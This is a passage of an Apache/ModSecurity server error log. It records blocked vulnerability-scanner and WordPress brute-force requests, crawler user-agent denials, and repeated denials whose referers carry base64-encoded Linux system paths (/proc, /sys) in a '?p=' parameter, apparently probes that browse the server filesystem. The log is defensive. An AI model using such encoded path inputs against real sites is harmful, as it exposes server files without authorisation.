"Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yNimiP80klyS0NnoToQABVwU"] [Sat Jun 13 18:13:42.013002 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.242.16:41912] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:13:42.013441 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.242.16:41912] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:13:42.059403 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:13:42.059864 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:13:42.071813 2026] [access_compat:error] [pid 531155:tid 531156] [remote 57.141.14.38:20699] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:42.072278 2026] [access_compat:error] [pid 531155:tid 531156] [remote 57.141.14.38:20699] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:42.404124 2026] [security2:error] [pid 531155:tid 531193] [remote 216.73.216.182:28671] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3yNimiP80klyS0NnoTuAABdSU"] [Sat Jun 13 18:13:42.563315 2026] [security2:error] [pid 531155:tid 531211] [remote 17.246.23.204:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 204.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yNimiP80klyS0NnoTwQABMDc"] [Sat Jun 13 18:13:42.565785 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9pbnB1dDI6OmNhcHNsb2Nr [Sat Jun 13 18:13:42.566099 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9pbnB1dDI6OmNhcHNsb2Nr [Sat Jun 13 18:13:43.091167 2026] [access_compat:error] [pid 531155:tid 531176] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:13:43.091626 2026] [access_compat:error] [pid 531155:tid 531176] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:13:43.118739 2026] [security2:error] [pid 531155:tid 531214] [remote 17.22.253.102:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yNymiP80klyS0NnoT3AABNzo"] [Sat Jun 13 18:13:43.163331 2026] [access_compat:error] [pid 531155:tid 531252] [remote 57.141.14.27:35586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:43.163608 2026] [access_compat:error] [pid 531155:tid 531252] [remote 57.141.14.27:35586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:43.298147 2026] [security2:error] [pid 531155:tid 531333] [client 172.56.168.133:62131] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yNymiP80klyS0NnoT5AAAATo"] [Sat Jun 13 18:13:43.302880 2026] [security2:error] [pid 531155:tid 531333] [client 172.56.168.133:62131] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yNymiP80klyS0NnoT5AAAATo"] [Sat Jun 13 18:13:43.515610 2026] [security2:error] [pid 531155:tid 531351] [client 213.159.1.75:41130] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "beetreefolkschool.org"] [uri "/events/category/music/list"] [unique_id "ai3yNymiP80klyS0NnoT9QAAAUw"], referer: https://beetreefolkschool.org/events/category/music/day/2022-02-27 [Sat Jun 13 18:13:43.557887 2026] [access_compat:error] [pid 531155:tid 531239] [remote 57.141.14.36:23720] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:43.558335 2026] [access_compat:error] [pid 531155:tid 531239] [remote 57.141.14.36:23720] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:43.581481 2026] [security2:error] [pid 531155:tid 531401] [client 114.119.157.103:36837] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "teapeak.net"] [uri "/product-category/matcha-bowl-2/"] [unique_id "ai3yNymiP80klyS0NnoT-QAAAX4"], referer: http://teapeak.net/ [Sat Jun 13 18:13:43.599012 2026] [security2:error] [pid 531155:tid 531406] [client 114.119.159.20:32639] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "h2olifeandstyle.com"] [uri "/product/h2o-life-hooded-sweatshirt"] [unique_id "ai3yNymiP80klyS0NnoT-wAAAYM"], referer: https://h2olifeandstyle.com/product/h2o-life-hooded-sweatshirt [Sat Jun 13 18:13:43.607076 2026] [access_compat:error] [pid 531155:tid 531230] [remote 57.141.14.3:20220] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:43.607505 2026] [access_compat:error] [pid 531155:tid 531230] [remote 57.141.14.3:20220] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:43.608339 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvaW5wdXQvaW5wdXQ3L2V2ZW50Ni9kZXZpY2U= [Sat Jun 13 18:13:43.608812 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2UvaW5wdXQvaW5wdXQ3L2V2ZW50Ni9kZXZpY2U= [Sat Jun 13 18:13:43.729327 2026] [security2:error] [pid 531155:tid 531179] [remote 103.28.36.168:60210] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.36.28.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lotusfengshui.co.uk"] [uri "/wp-login.php"] [unique_id "ai3yNymiP80klyS0NnoUAgABExc"] [Sat Jun 13 18:13:43.786788 2026] [access_compat:error] [pid 531155:tid 531168] [remote 57.141.14.26:27858] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:43.787230 2026] [access_compat:error] [pid 531155:tid 531168] [remote 57.141.14.26:27858] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:43.834104 2026] [security2:error] [pid 531155:tid 531226] [remote 17.246.23.211:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 211.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yNymiP80klyS0NnoUCQABLEY"] [Sat Jun 13 18:13:43.930618 2026] [access_compat:error] [pid 531155:tid 531163] [remote 57.141.14.24:62700] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:43.931051 2026] [access_compat:error] [pid 531155:tid 531163] [remote 57.141.14.24:62700] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:44.032028 2026] [security2:error] [pid 531155:tid 531305] [client 114.119.146.129:62199] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "xfactorbaseballleague.com"] [uri "/champ-1978.html"] [unique_id "ai3yOCmiP80klyS0NnoUGQAAAR4"], referer: https://xfactorbaseballleague.com/ [Sat Jun 13 18:13:44.151658 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6c2Nyb2xsbG9jay9kZXZpY2UvZGV2aWNl [Sat Jun 13 18:13:44.151925 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6c2Nyb2xsbG9jay9kZXZpY2UvZGV2aWNl [Sat Jun 13 18:13:44.303207 2026] [security2:error] [pid 531155:tid 531166] [remote 17.22.245.54:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yOCmiP80klyS0NnoUJQABNwo"] [Sat Jun 13 18:13:44.549477 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.44:20537] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:44.549950 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.44:20537] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:44.698326 2026] [access_compat:error] [pid 531155:tid 531156] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:13:44.698627 2026] [access_compat:error] [pid 531155:tid 531156] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:13:44.707006 2026] [security2:error] [pid 531155:tid 531174] [remote 17.246.23.208:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yOCmiP80klyS0NnoUMwABcxI"] [Sat Jun 13 18:13:44.856354 2026] [security2:error] [pid 531155:tid 531181] [remote 17.246.19.207:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 207.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yOCmiP80klyS0NnoUPAABFBk"] [Sat Jun 13 18:13:45.035550 2026] [access_compat:error] [pid 531155:tid 531193] [remote 57.141.14.67:62685] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:45.036006 2026] [access_compat:error] [pid 531155:tid 531193] [remote 57.141.14.67:62685] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:45.089291 2026] [security2:error] [pid 531155:tid 531180] [remote 17.241.227.5:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 5.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yOSmiP80klyS0NnoUUQABMRg"] [Sat Jun 13 18:13:45.110286 2026] [security2:error] [pid 531155:tid 531374] [client 114.119.136.46:64171] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.an-ime.com"] [uri "/numepisodes/12-%D8%AD%D9%84%D9%82%D8%A9/"] [unique_id "ai3yOSmiP80klyS0NnoUVQAAAWM"], referer: https://www.an-ime.com/numepisodes/12-%D8%AD%D9%84%D9%82%D8%A9/page/2 [Sat Jun 13 18:13:45.251464 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 